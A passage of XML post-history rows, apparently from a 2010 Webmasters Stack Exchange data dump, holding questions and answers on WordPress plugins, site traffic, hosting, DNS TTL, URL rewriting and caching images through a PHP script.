engines didn't exist?" />
  <row Id="6353" PostHistoryTypeId="2" PostId="3241" RevisionGUID="aa50ec1c-d001-4f87-a7c0-36c5890021ab" CreationDate="2010-09-23T15:18:27.640" UserId="1253" Text="[Askimet][1] is a must have for spam control&#xD;&#xA;&#xD;&#xA;[WordPress.com Stats][2] is great for stats&#xD;&#xA;&#xD;&#xA;[WP Super Cache][3], or any other caching plug in, is good for performance&#xD;&#xA;&#xD;&#xA;[TweetMeme Retweet Button][4] is good for getting users to tweet about a blog post&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/akismet/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/stats/&#xD;&#xA;  [3]: http://ocaoimh.ie/wp-super-cache/&#xD;&#xA;  [4]: http://tweetmeme.com/about/plugins" />
  <row Id="6354" PostHistoryTypeId="5" PostId="3241" RevisionGUID="8e058bdc-5314-4b89-9368-e08d58b85405" CreationDate="2010-09-23T15:47:42.753" UserId="1253" Comment="added 170 characters in body" Text="[Askimet][1] is a must have for spam control&#xD;&#xA;&#xD;&#xA;[WordPress.com Stats][2] is great for stats&#xD;&#xA;&#xD;&#xA;[WP Super Cache][3], or any other caching plug in, is good for performance&#xD;&#xA;&#xD;&#xA;[TweetMeme Retweet Button][4] is good for getting users to tweet about a blog post&#xD;&#xA;&#xD;&#xA;[This is a list of the most popular plug-ins][5]. That's probably because they're very useful in some way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/akismet/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/stats/&#xD;&#xA;  [3]: http://ocaoimh.ie/wp-super-cache/&#xD;&#xA;  [4]: http://tweetmeme.com/about/plugins&#xD;&#xA;  [5]: http://wordpress.org/extend/plugins/browse/popular/" />
  <row Id="6355" PostHistoryTypeId="2" PostId="3242" RevisionGUID="0754007d-bf77-4031-a513-34b65a6cba96" CreationDate="2010-09-23T16:01:18.157" UserDisplayName="Ubra Subra" Text="Would you try for SEO, Adwords, or other ad programs? Why? How cost effective is it?" />
  <row Id="6356" PostHistoryTypeId="1" PostId="3242" RevisionGUID="0754007d-bf77-4031-a513-34b65a6cba96" CreationDate="2010-09-23T16:01:18.157" UserDisplayName="Ubra Subra" Text="What are the best ways to start driving traffic to a new website?" />
  <row Id="6357" PostHistoryTypeId="3" PostId="3242" RevisionGUID="0754007d-bf77-4031-a513-34b65a6cba96" CreationDate="2010-09-23T16:01:18.157" UserDisplayName="Ubra Subra" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;traffic&gt;" />
  <row Id="6358" PostHistoryTypeId="2" PostId="3243" RevisionGUID="4e609513-ccca-42f8-8194-886b0598a038" CreationDate="2010-09-23T16:24:19.560" UserId="233" Text="It does depend on the site to some extent. Organic SEO is the best way to get lasting traffic - for any website - so make sure you've covered the basics (titles, headings and so on).&#xD;&#xA;&#xD;&#xA;You may want to do some press releases to try and generate some buzz and get natural links. Social media like Facebook/Twitter is good for this - get friends/family/colleagues to become fans/follow your brand.&#xD;&#xA;&#xD;&#xA;Google Adwords is a good idea for an initial boost, particularly for e-commerce websites. If you sell a particular product or type of product, bid on those keywords. You can of course continue after the initial outlay if it proves very successful (e.g. for every dollar you spend you get more than a dollar's profit from sales).&#xD;&#xA;&#xD;&#xA;Finally, don't forget the real world! If you have a brick-and-mortar presence, do in-store advertising. Or take out ads in newspapers, magazines etc." />
  <row Id="6359" PostHistoryTypeId="2" PostId="3244" RevisionGUID="79f4017e-3e32-454a-bbe1-6886aa581daa" CreationDate="2010-09-23T16:29:45.600" UserId="2052" Text="Immediate solution would be an online sitemap generator:&#xD;&#xA;&#xD;&#xA;http://www.xml-sitemaps.com/&#xD;&#xA;&#xD;&#xA;Or as John Conde said, produce your own script that will either&#xD;&#xA;&#xD;&#xA;a: trawl your www folder for html files, or &#xD;&#xA;&#xD;&#xA;b: if your pages don't &quot;physically&quot; exist and are always dynamically generated, write a php script that will produce urls for all the pages that could exist. &#xD;&#xA;&#xD;&#xA;Set up a cron job to call either script daily and that will produce a sitemap for all the pages vailable that day." />
  <row Id="6360" PostHistoryTypeId="2" PostId="3245" RevisionGUID="a1456ad2-5da0-4865-bf22-e51a4015bfa5" CreationDate="2010-09-23T16:36:32.117" UserId="1979" Text="&gt; Do you know any example of regional&#xD;&#xA;&gt; non-Latin domain zones&#xD;&#xA;&#xD;&#xA;See http://en.wikipedia.org/wiki/Internationalized_country_code_top-level_domain&#xD;&#xA;&#xD;&#xA;I can't comment on the second part of your question. In general, though, this is a recent development so I'm not sure if there's an answer to it at this point in time. Also, what might be widely used in, say, Arab-speaking countries might be a flop in Chinese-speaking countries or vice versa (for completely different reasons)." />
  <row Id="6361" PostHistoryTypeId="2" PostId="3246" RevisionGUID="d9a97b19-bb91-4e8a-a7e7-5d295c1e58ff" CreationDate="2010-09-23T18:44:22.360" UserId="1074" Text="For immediate impact, I can't say enough about social media and link exchanging--albeit legit link exchanging with real, honest sites, not bombarding forums with off-topic link drivel.&#xD;&#xA;&#xD;&#xA;My most successful clients get more traffic from social media (twitter/facebook/linkedin) than they do from Google.  It's not a measure of not being good in SEO, because they do a great job.  They just do a BETTER job on the social media sites with multiple tweets and posts daily and and incredible amount of link sharing that's tied to social posts.  A similar, but often overlooked means is by participation in relevant &quot;enthusiast&quot; sites related to the site's content.  For example, a programmer might go through Stack Overflow and post on Smashing Magazine.  &#xD;&#xA;&#xD;&#xA;Adwords and SEO are great too.  Just don't count on SEO for a brand new site being anything in the beginning unless you're in a busy category like Relators, etc.  Adwords are immediate, and imho can be considered &quot;purchased SEO&quot;  They work great.&#xD;&#xA;&#xD;&#xA;All these options require daily attention, monitoring, and focus.  AdWords in particular will decrease in the number of clicks they send you if you'd don't constantly monitor and tweak your account.  Monitor Google Analytics to know where people are coming from, where they're going, and what they like.  Tweak unpopular pages or content.  If Google is low, focus on Google.  Invite feedback about what would make the site better....people will tell you if you ask.&#xD;&#xA;&#xD;&#xA;Good Luck." />
  <row Id="6362" PostHistoryTypeId="2" PostId="3247" RevisionGUID="63ff2b60-5546-4fa0-a3e2-1fb7abc33d5e" CreationDate="2010-09-23T21:01:27.227" UserDisplayName="Scorpion King" Text="ok this is a non-technical question and since stackoverflow is the best, i am asking here. I am planning on creating an online portfolio for myself, to use in my resume and to use for other personal use, with my own domain name. I am pretty sure there is nothing free out there to create a domain name and have a website for ourselves (correct me if i am wrong).&#xD;&#xA;&#xD;&#xA;so i looked up godaddy.com and found some domains really cheap, like for $4.99 a year which looked so un-believable. I need your suggestion on how to get started on this. I plan to design my website on my own and post photos and make modifications to the code since i am a web developer. so which website would be good to have things the way i want them to be and what would be the price.&#xD;&#xA;&#xD;&#xA;any suggestion appreciated :)" />
  <row Id="6363" PostHistoryTypeId="1" PostId="3247" RevisionGUID="63ff2b60-5546-4fa0-a3e2-1fb7abc33d5e" CreationDate="2010-09-23T21:01:27.227" UserDisplayName="Scorpion King" Text="about domain name and website creation" />
  <row Id="6364" PostHistoryTypeId="3" PostId="3247" RevisionGUID="63ff2b60-5546-4fa0-a3e2-1fb7abc33d5e" CreationDate="2010-09-23T21:01:27.227" UserDisplayName="Scorpion King" Text="&lt;website-design&gt;" />
  <row Id="6365" PostHistoryTypeId="2" PostId="3248" RevisionGUID="e86c67a0-21de-4643-92f2-8048200a32d0" CreationDate="2010-09-23T21:51:57.907" UserId="2043" Text="+1 http://www.brightcove.com/&#xD;&#xA;&#xD;&#xA;I'm using their services for a client project right now, and I must say they rock.  Video analytics (see where people are dropping off in your videos, which are the most popular, etc) and you manage the videos on Brightcove's administrative backend.  Very easy to maintain, swap, etc.&#xD;&#xA;&#xD;&#xA;I'm still new to their services though, but I'd definitely say check them out.  No Youtube, or Vimeo logos/branding on your videos or video player (which is essential for my client.) " />
  <row Id="6366" PostHistoryTypeId="2" PostId="3249" RevisionGUID="76d1029b-58c1-49ff-912e-c56da5e6766b" CreationDate="2010-09-24T02:25:16.620" UserId="168" Text="I have been talking to vzaar ([vzaar.com][1]) about a similar project.  They are cheaper than Brightcove and have an decent API which is available on all pricing plans (unlike Brightcove who only give you access to the API on an expensive plan).  They use the Edgecast CDN.  Note - haven't actually committed or used them in anger yet, but on paper they seem ok.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vzaar.com/" />
  <row Id="6367" PostHistoryTypeId="2" PostId="3250" RevisionGUID="5b0d30bd-2ef6-44db-a6fe-336382e74d76" CreationDate="2010-09-24T03:40:16.403" UserId="590" Text="first, Welcome to Webmasters.SE&#xD;&#xA;&#xD;&#xA;you would probably be fine on godaddy.  Most good web hosts actually include a domain name with the hosting account.&#xD;&#xA;&#xD;&#xA;Something like Wordpress would probably be the easiest to use as a content management system.  I believe godaddy has the option to install this in the control panel." />
  <row Id="6368" PostHistoryTypeId="2" PostId="3251" RevisionGUID="90b3b724-7e5a-44e6-b33a-02bd701f40a2" CreationDate="2010-09-24T04:34:50.830" UserId="118" Text="I would like to include a subset of tweets I make on my professional web development site.&#xD;&#xA;&#xD;&#xA;Now, twitter provides two applicable widgets:&#xD;&#xA;a profile widget and a search widget&#xD;&#xA;&#xD;&#xA;Unfortunately, the profile widget shows everything I tweet (including off-topic tweets that I don't want shown on my site).&#xD;&#xA;&#xD;&#xA;On the other hand, the search widget generally only shows tweets that I have made in the last 24 hours, and apparently doesn't search back very far.&#xD;&#xA;&#xD;&#xA;Here's an example of the search widget in action on my site: [http://royronalds.com/log.html][1]&#xD;&#xA;(showing only one match of what should be many, because that's the only recent match).&#xD;&#xA;&#xD;&#xA;And here are the widgets: [http://twitter.com/widgets][2]&#xD;&#xA;&#xD;&#xA;Is there any way to create a topic-filtered widget, to show only on-topic tweets?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://royronalds.com/log.html&#xD;&#xA;  [2]: http://twitter.com/widgets" />
  <row Id="6369" PostHistoryTypeId="1" PostId="3251" RevisionGUID="90b3b724-7e5a-44e6-b33a-02bd701f40a2" CreationDate="2010-09-24T04:34:50.830" UserId="118" Text="Creating a &quot;presentable&quot;/filtered twitter profile widget." />
  <row Id="6370" PostHistoryTypeId="3" PostId="3251" RevisionGUID="90b3b724-7e5a-44e6-b33a-02bd701f40a2" CreationDate="2010-09-24T04:34:50.830" UserId="118" Text="&lt;javascript&gt;&lt;twitter&gt;&lt;api&gt;" />
  <row Id="6371" PostHistoryTypeId="2" PostId="3252" RevisionGUID="e49bc38e-b9a4-45f0-a09a-2d4d55227de1" CreationDate="2010-09-24T05:25:54.030" UserId="1757" Text="I'm not sure what you mean by &quot;which website would be good to have things the way i want them to be&quot;, but if you're trying to ask about web hosts, I would encourage you to use a more above board web host, like DreamHost. You will get better customer service and not contribute to the skeezy practice of domain squatting/speculating.&#xD;&#xA;&#xD;&#xA;As WalterJ89 mentioned, most web hosts give you at least a year's free registration on your first domain, but decent ones give you free registration for the life of your account, and the price difference between domain registrars is usually negligible for .com/.net/.org and other major TLDs.&#xD;&#xA;&#xD;&#xA;Some things you will also get with DreamHost that you won't with GoDaddy (not for the same price at least) include:&#xD;&#xA;&#xD;&#xA; - unlimited shell accounts (full unix shell)&#xD;&#xA; - unlimited SFTP accounts + anonymous ftp&#xD;&#xA; - unlimited e-mail accounts&#xD;&#xA; - unlimited MySQL databases&#xD;&#xA; - unlimited storage + 50GB backups&#xD;&#xA; - SVN/CVS repository&#xD;&#xA;&#xD;&#xA;But the most important feature you get is a hosting company that's passionate about what they do, is run by very competent employees (with a great sense of humor, which really comes through in their regular newsletters), and who have a strong sense of ethics. DreamHost is also constantly improving their hosting plans, and existing customers are always given automatic upgrades/price reductions so you're rewarded for your loyalty rather than punished for it as is the case with many web hosts.&#xD;&#xA;&#xD;&#xA;As I said earlier, DreamHost has *great* customer support, and in my experience they have always gone above and beyond what is required of them, which explains their popularity and success. They don't have huge call centers to handle 24/7 phone support from all customers, but what they lack in quantity, they make up for in quality, as their customer support staff are probably more knowledgeable than 99% of the IT tech support staff out there. And even without free phone support, all inquiries are answered within 24 hours (usually less), and I've never had any technical questions/problems that they weren't able to resolve within 1 or 2 emails.&#xD;&#xA;&#xD;&#xA;Just about the only thing you can't count on DH customer support to help you with are custom-compiled PHP binaries, which very few shared hosting users would ever encounter (especially as most shared hosts don't let you use your own self-compiled PHP binary)." />
  <row Id="6372" PostHistoryTypeId="2" PostId="3253" RevisionGUID="399f4d89-a727-42d8-8390-92e099fdfe4f" CreationDate="2010-09-24T05:27:01.240" UserId="480" Text="You can use the RSS feed from Twitter, store the entries in your database (to get past the 24/72 hour limit) and use a #hashtag or similar which you can check for to see if should be published.&#xD;&#xA;&#xD;&#xA;How often you check the feed, how purge database entries and how many #hashtags you use is up to you and the amount of time you have." />
  <row Id="6373" PostHistoryTypeId="5" PostId="3250" RevisionGUID="cdab46ca-1570-4469-8297-348307f0ea59" CreationDate="2010-09-24T05:32:14.690" UserId="590" Comment="added 63 characters in body" Text="first, Welcome to Webmasters.SE&#xD;&#xA;&#xD;&#xA;you would probably be fine on godaddy.  Most good web hosts actually include a domain name with the hosting account.&#xD;&#xA;&#xD;&#xA;Something like Wordpress would probably be the easiest to use as a content management system.  I believe godaddy has the option to install this in the control panel.&#xD;&#xA;&#xD;&#xA;Personally I use HostMonster, mostly for the great support." />
  <row Id="6374" PostHistoryTypeId="2" PostId="3254" RevisionGUID="8d9f2f3d-1683-47ea-ab65-aef9fbd6de2b" CreationDate="2010-09-24T06:18:04.797" UserId="2026" Text="generally price for .com,.net,.org &amp; .info domains fall in 8-10$. I prefer godaddy for the purchasing for fare deal.&#xD;&#xA;If you are just planning to just to host your portfolio then you may use deviantart.com. But it depends what sort of profile you want. If you are planning some independent platform then wordpress will be better for you. It'll not only give you free hosting but a dashboard, inbuilt themes and a lot.&#xD;&#xA;Dont waste your money for hosting." />
  <row Id="6375" PostHistoryTypeId="2" PostId="3255" RevisionGUID="e1cca6d6-7b0e-4a9a-93dd-f24a36c4e2f8" CreationDate="2010-09-24T06:26:26.717" UserId="2026" Text="Checklist&#xD;&#xA;&#xD;&#xA;&gt;  1. You have meta tag with appropriate&#xD;&#xA;&gt;     description and keywords&#xD;&#xA;&gt;  2. You are using robots.txt&#xD;&#xA;&gt;  3. You placed sitemap.xml on proper&#xD;&#xA;&gt;     place.&#xD;&#xA;&#xD;&#xA;Check my answer http://webmasters.stackexchange.com/questions/2402/i-cannot-see-my-website-in-google/3173#3173&#xD;&#xA;&#xD;&#xA;Moreover, do you ever write articles on other sites?&#xD;&#xA;Are you submitting your site contents &amp; sitemap regularly to search engines?&#xD;&#xA;Are you tlling people about your site by submitting their conetnts to social bookmarkiing &amp; social networking sites?&#xD;&#xA;&#xD;&#xA;There is a list of questions....&#xD;&#xA;just check whether every question have &quot;yes&quot; in answer.&#xD;&#xA;" />
  <row Id="6376" PostHistoryTypeId="2" PostId="3256" RevisionGUID="5981c914-5728-4a43-9c2f-8346c3dd0b3d" CreationDate="2010-09-24T07:30:32.417" UserId="1757" Text="What good live chat/live help solutions are available (for use on a site hosted on a LAMP stack and free)? I'm looking for a way to allow our sales and customer service reps to talk directly with visitors to our site. &#xD;&#xA;&#xD;&#xA;I've looked at phpopenchat, but it looks very unpolished. The only other free live chat app I've come across looked egregious. The aesthetics and UI design alone made me shudder to think what the underlying code might look like. &#xD;&#xA;&#xD;&#xA;This isn't a critical feature, and it wouldn't be hard to code up myself, so I'm not really looking for commercial software or paid services (unless there's a really compelling reason to use them). I'm just wondering if any other webmasters have come across a satisfactory free/open source solution for providing live customer support on their website.&#xD;&#xA;&#xD;&#xA;As a side note, live voice chat would also be an option, but it has to be be designed (or customizable) for customer support rather than a public chatroom." />
  <row Id="6377" PostHistoryTypeId="1" PostId="3256" RevisionGUID="5981c914-5728-4a43-9c2f-8346c3dd0b3d" CreationDate="2010-09-24T07:30:32.417" UserId="1757" Text="Live chat solutions" />
  <row Id="6378" PostHistoryTypeId="3" PostId="3256" RevisionGUID="5981c914-5728-4a43-9c2f-8346c3dd0b3d" CreationDate="2010-09-24T07:30:32.417" UserId="1757" Text="&lt;live&gt;&lt;free&gt;&lt;chat&gt;&lt;customer-service&gt;&lt;open-source&gt;" />
  <row Id="6379" PostHistoryTypeId="2" PostId="3257" RevisionGUID="7d73c4f0-871c-4d55-b213-50eb68fa0e82" CreationDate="2010-09-24T07:43:57.387" UserId="745" Text="You can show your [Skype status][1] on your website. Skype has so many add-ons, including chat rooms, that you can pretty much do anything with it. If you're wanting other options, take a look at this list of [10 Chat Widgets][2]. [CoverItLive][3] is pretty popular as well, but it might not be quite what you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.skype.com/intl/en-us/tell-a-friend/get-a-skype-button/&#xD;&#xA;  [2]: http://www.readwriteweb.com/archives/10_chat_widgets.php&#xD;&#xA;  [3]: http://www.coveritlive.com/" />
  <row Id="6380" PostHistoryTypeId="2" PostId="3258" RevisionGUID="8aed8c4d-6889-4403-a7a9-ffe81b719582" CreationDate="2010-09-24T09:16:18.063" UserId="1857" Text="[Olark][1] is gaining some momentum in the startups / smaller more dynamic sites space. AFAIK the high-level picture of Olark is:&#xD;&#xA;&#xD;&#xA; - Javascript-only on the website&#xD;&#xA; - with a hosted backend (SaaS monthly subscription)&#xD;&#xA; - and browser- and mobile clients based on common Instant Messaging protocols.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.olark.com/" />
  <row Id="6381" PostHistoryTypeId="2" PostId="3259" RevisionGUID="7c8e6f3f-b5aa-42cf-b27b-41a8752841fd" CreationDate="2010-09-24T09:40:49.910" UserId="1089" Text="Glad to see your problem is fixed, but to add my two penneth....&#xD;&#xA;&#xD;&#xA;I went through this myself in the middle of 2009, I started reading the [malware and hacked sites forum][1] on googles webmaster central. &#xD;&#xA;&#xD;&#xA;I usually find there are three main sources of infection:&#xD;&#xA;&#xD;&#xA; 1. The hosting company has been hacked.&#xD;&#xA; 2. Users who have found their home pc's have been hacked, as a result had ftp/password details stolen. &#xD;&#xA; 3. Out of date/insecure code.&#xD;&#xA;&#xD;&#xA;Couple of pieces of advice I don't think have been mentioned:&#xD;&#xA;&#xD;&#xA; - If you are paying for any services relating to your website (like adwords) make sure you disable these whilst you resolve your problem. Otherwise it's throwing money down the drain!&#xD;&#xA;&#xD;&#xA; - Don't forget to check your .htaccess file - mine was ripped to shreds when I was hacked.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/label?lid=2fe2a8ee8e37c08e&amp;hl=en" />
  <row Id="6382" PostHistoryTypeId="2" PostId="3260" RevisionGUID="a4d2c545-333a-4874-a883-578cbb529ecc" CreationDate="2010-09-24T11:06:49.640" UserId="2059" Text="My host recommends lowering the TTL value of my domain prior to making DNS changes and then suggests that I should raise them after changes are finsihed.  What are the negative consequences of leaving the values low?" />
  <row Id="6383" PostHistoryTypeId="1" PostId="3260" RevisionGUID="a4d2c545-333a-4874-a883-578cbb529ecc" CreationDate="2010-09-24T11:06:49.640" UserId="2059" Text="What are the consequences of leaving a domain name's TTL value low" />
  <row Id="6384" PostHistoryTypeId="3" PostId="3260" RevisionGUID="a4d2c545-333a-4874-a883-578cbb529ecc" CreationDate="2010-09-24T11:06:49.640" UserId="2059" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="6385" PostHistoryTypeId="2" PostId="3261" RevisionGUID="0a5f2f97-98be-42a0-8fbf-4e9f46d4f9d7" CreationDate="2010-09-24T11:50:24.373" UserId="1064" Text="The TTL (&quot;Time To Live&quot;) setting tells DNS clients how long they may cache the results of their DNS queries - if you set the value too low (for example, to &quot;1&quot; for one second) the load on your DNS server will increase dramatically once the original TTL has expired (i.e. if your TTL is set to &quot;3600&quot; but you change it to &quot;1&quot;, you will probably see an increase in DNS queries after an hour)." />
  <row Id="6386" PostHistoryTypeId="2" PostId="3262" RevisionGUID="4160250d-0b54-4e7c-a84a-664cc32527d1" CreationDate="2010-09-24T12:53:33.693" UserId="1489" Text="We have a 3rd party web service which we interact with via Soap.  In this regard we query the 3rd party for resources, construct a home page and all links generated on this index page are referencing ID's of a 3rd party web service.  &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;    site.com/get.php?id=34bv43b34b3b34be //corresponds to &quot;Service 1&quot;&#xD;&#xA;    site.com/get.php?id=3443g43gg43g5h56 //corresponds to &quot;Service 2&quot;&#xD;&#xA;    and so on... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Being that these are referencing a resource on a 3rd party, how can I use mod_rewrite or something similar to construct nice URLs.&#xD;&#xA;&#xD;&#xA;Something such as: &#xD;&#xA;&#xD;&#xA;    site.com/get/Service_1 //corresponds to site.com/get.php?id=34bv43b34b3b34be&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Would we have to index these services and system ID's on our own site potentially in a database or something to achieve this?  &#xD;&#xA;&#xD;&#xA;Basically, what I want to know is can I do this without storing any additional data on our site?  If not, I understand that I could have a cron job setup to periodically poll the 3rd party web service for changes and have a local database with services and system IDs but we would really like a solution that doesn't involve this.&#xD;&#xA;&#xD;&#xA;Configuration: &#xD;&#xA;&#xD;&#xA; - php &#xD;&#xA; - apache &#xD;&#xA; - mysql &#xD;&#xA;&#xD;&#xA;Can provide more details of our system configuration if needed.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="6387" PostHistoryTypeId="1" PostId="3262" RevisionGUID="4160250d-0b54-4e7c-a84a-664cc32527d1" CreationDate="2010-09-24T12:53:33.693" UserId="1489" Text="Pretty URLs for dynamic links generated based on a 3rd party soap web service" />
  <row Id="6388" PostHistoryTypeId="3" PostId="3262" RevisionGUID="4160250d-0b54-4e7c-a84a-664cc32527d1" CreationDate="2010-09-24T12:53:33.693" UserId="1489" Text="&lt;apache&gt;&lt;url-rewriting&gt;&lt;web-services&gt;" />
  <row Id="6389" PostHistoryTypeId="2" PostId="3263" RevisionGUID="920bf1dd-e90d-4610-8a24-dfbf397591d7" CreationDate="2010-09-24T13:10:01.740" UserId="233" Text="Unless there is a way to generate the ID (`34bv...`) from the service name (`Service_1`) then you will need to store the data somewhere. Judging by the ID format it could be an md5 hash (or part of).&#xD;&#xA;&#xD;&#xA;But it's not difficult to create a MySQL table with id/name fields and look them up on page load. If you are not already, you ought to be caching the data from the 3rd party service locally to avoid constant lookups." />
  <row Id="6390" PostHistoryTypeId="2" PostId="3264" RevisionGUID="a6bf6c3c-635a-4993-9713-642f138e3714" CreationDate="2010-09-24T13:32:36.547" UserDisplayName="Dev" Text="I'm trying to follow stackoverflow's approach of using a [white list for the sitemap][1]. I have tried to find an extensive list of search engine crawlers (and other crawlers) to use in my white list but what I have found so far is outdated information (hasn't been updated for years). Is there any place on the net where I can find a regularly updated list that contains the user agent of every search engine crawler along with its domain name (for reverse DNS)?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/33965/how-does-stack-overflow-protect-its-sitemap/33967#33967" />
  <row Id="6391" PostHistoryTypeId="1" PostId="3264" RevisionGUID="a6bf6c3c-635a-4993-9713-642f138e3714" CreationDate="2010-09-24T13:32:36.547" UserDisplayName="Dev" Text="Where can I find a list of Search Engine Crawler user agents and thier domain names?" />
  <row Id="6392" PostHistoryTypeId="3" PostId="3264" RevisionGUID="a6bf6c3c-635a-4993-9713-642f138e3714" CreationDate="2010-09-24T13:32:36.547" UserDisplayName="Dev" Text="&lt;search-engines&gt;&lt;sitemap&gt;" />
  <row Id="6393" PostHistoryTypeId="2" PostId="3265" RevisionGUID="621e004c-d9fb-4e09-89b4-399f515bad0b" CreationDate="2010-09-24T13:59:30.323" UserId="1253" Text="Here's how to verify Googlebot: [Verifying Googlebot][1]&#xD;&#xA;&#xD;&#xA;[This seems to cover BING indirectly][2]. [A script that may help you narrow down when Bing is on your site][3] (in PHP).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=80553&#xD;&#xA;  [2]: http://www.bing.com/community/forums/t/650956.aspx&#xD;&#xA;  [3]: http://www.bing.com/community/forums/t/661922.aspx" />
  <row Id="6394" PostHistoryTypeId="2" PostId="3266" RevisionGUID="04292606-196a-4b71-8fc9-1611460815f3" CreationDate="2010-09-24T14:00:39.903" UserId="2017" Text="What is a rough estimate of how many views/day a site needs to break even on hosting and bandwidth using advertising?" />
  <row Id="6395" PostHistoryTypeId="1" PostId="3266" RevisionGUID="04292606-196a-4b71-8fc9-1611460815f3" CreationDate="2010-09-24T14:00:39.903" UserId="2017" Text="How many views/day are required for a site to break even?" />
  <row Id="6396" PostHistoryTypeId="3" PostId="3266" RevisionGUID="04292606-196a-4b71-8fc9-1611460815f3" CreationDate="2010-09-24T14:00:39.903" UserId="2017" Text="&lt;web-hosting&gt;&lt;advertising&gt;" />
  <row Id="6397" PostHistoryTypeId="2" PostId="3267" RevisionGUID="b674213c-8fc6-46d3-83a2-0962aed9accc" CreationDate="2010-09-24T14:02:26.393" UserId="1489" Text="I ran some audits on a new web application we are about to launch.  Chromium is suggesting in network utilization that a few images on our site do not have height/width dimensions explicitly declared.  &#xD;&#xA;&#xD;&#xA;Will this really help performance?  Aside from the browser not having to decide how to display the image and basically being told to use X height and Y width for an image, how can this help &quot;network utilization&quot;? &#xD;&#xA;&#xD;&#xA;Any other comments regarding this would be appreciated! " />
  <row Id="6398" PostHistoryTypeId="1" PostId="3267" RevisionGUID="b674213c-8fc6-46d3-83a2-0962aed9accc" CreationDate="2010-09-24T14:02:26.393" UserId="1489" Text="Does specifying explicit image dimensions help site performance ? " />
  <row Id="6399" PostHistoryTypeId="3" PostId="3267" RevisionGUID="b674213c-8fc6-46d3-83a2-0962aed9accc" CreationDate="2010-09-24T14:02:26.393" UserId="1489" Text="&lt;performance&gt;&lt;images&gt;" />
  <row Id="6400" PostHistoryTypeId="2" PostId="3268" RevisionGUID="1ef897f4-b041-4617-b668-2566a8c98588" CreationDate="2010-09-24T14:03:58.687" UserId="1489" Text="Title says it all, we do not have control over our server environment and although we can request for them to recompile apache for us it will not happen overnight.&#xD;&#xA;&#xD;&#xA;Is there anything we can do is these modules (mod_expires, mod_headers) are not available to help with specifying certain content (images, js, css) should be cached or are we out of luck ? " />
  <row Id="6401" PostHistoryTypeId="1" PostId="3268" RevisionGUID="1ef897f4-b041-4617-b668-2566a8c98588" CreationDate="2010-09-24T14:03:58.687" UserId="1489" Text="No mod_expires or mod_headers in apache, how can I cache images/js/css files ? " />
  <row Id="6402" PostHistoryTypeId="3" PostId="3268" RevisionGUID="1ef897f4-b041-4617-b668-2566a8c98588" CreationDate="2010-09-24T14:03:58.687" UserId="1489" Text="&lt;cache&gt;&lt;static-content&gt;&lt;cache-control&gt;" />
  <row Id="6403" PostHistoryTypeId="2" PostId="3269" RevisionGUID="ae9178dc-1a29-44df-9acc-21ed3e2561d5" CreationDate="2010-09-24T14:05:54.673" UserId="1489" Text="This depends on a few things: &#xD;&#xA;&#xD;&#xA; - how much does hosting cost? &#xD;&#xA; - how much does bandwidth cost? &#xD;&#xA; - how much was the development cost? &#xD;&#xA; - how much is the maintenance cost? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Too many variables you have no declared to even take a rough stab at it but since you asked: &#xD;&#xA;&#xD;&#xA;&gt; [42][1] views / day seems reasonable &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/42_(number)" />
  <row Id="6404" PostHistoryTypeId="2" PostId="3270" RevisionGUID="db6ae45d-3ad6-445d-9bda-eeb5dfba8714" CreationDate="2010-09-24T14:14:02.363" UserId="2065" Text="I have some extensive website that i need to analyze the images and see if they can be optimized. Can any one recommend a good program for this?" />
  <row Id="6405" PostHistoryTypeId="1" PostId="3270" RevisionGUID="db6ae45d-3ad6-445d-9bda-eeb5dfba8714" CreationDate="2010-09-24T14:14:02.363" UserId="2065" Text="What is a good program for optamizing your images on a website." />
  <row Id="6406" PostHistoryTypeId="3" PostId="3270" RevisionGUID="db6ae45d-3ad6-445d-9bda-eeb5dfba8714" CreationDate="2010-09-24T14:14:02.363" UserId="2065" Text="&lt;images&gt;&lt;optimizations&gt;" />
  <row Id="6407" PostHistoryTypeId="2" PostId="3271" RevisionGUID="38033a92-1165-4c08-b984-385e7acf22c4" CreationDate="2010-09-24T14:21:07.377" UserId="1253" Text="One option is to send them through a PHP script and have that script out caching headers for you. It accomplishes the same thing with only a little extra overhead for having to have PHP serve the image as a proxy.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    HTML:&#xD;&#xA;    &lt;img src=&quot;/images/img.php?img=someimage.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;    PHP:&#xD;&#xA;    &lt;?php&#xD;&#xA;        $filename = $_GET['img'];&#xD;&#xA;        $file = '/path/to/file/' . $filename;&#xD;&#xA;        &#xD;&#xA;        // Do verification that the file exists, they're not after any secure &#xD;&#xA;        // files, etc. Not shown here   &#xD;&#xA;        &#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header(&quot;Last-Modified: &quot; . date( &quot;D, j M Y H:i:s&quot;, strtotime(&quot;- 1 month&quot;)));&#xD;&#xA;        header(&quot;Expires: Thu, 20 Sep 2012 05:00:00 GMT&quot;);&#xD;&#xA;        header(&quot;Cache-Control: max-age=2692000, public&quot;); &#xD;&#xA;        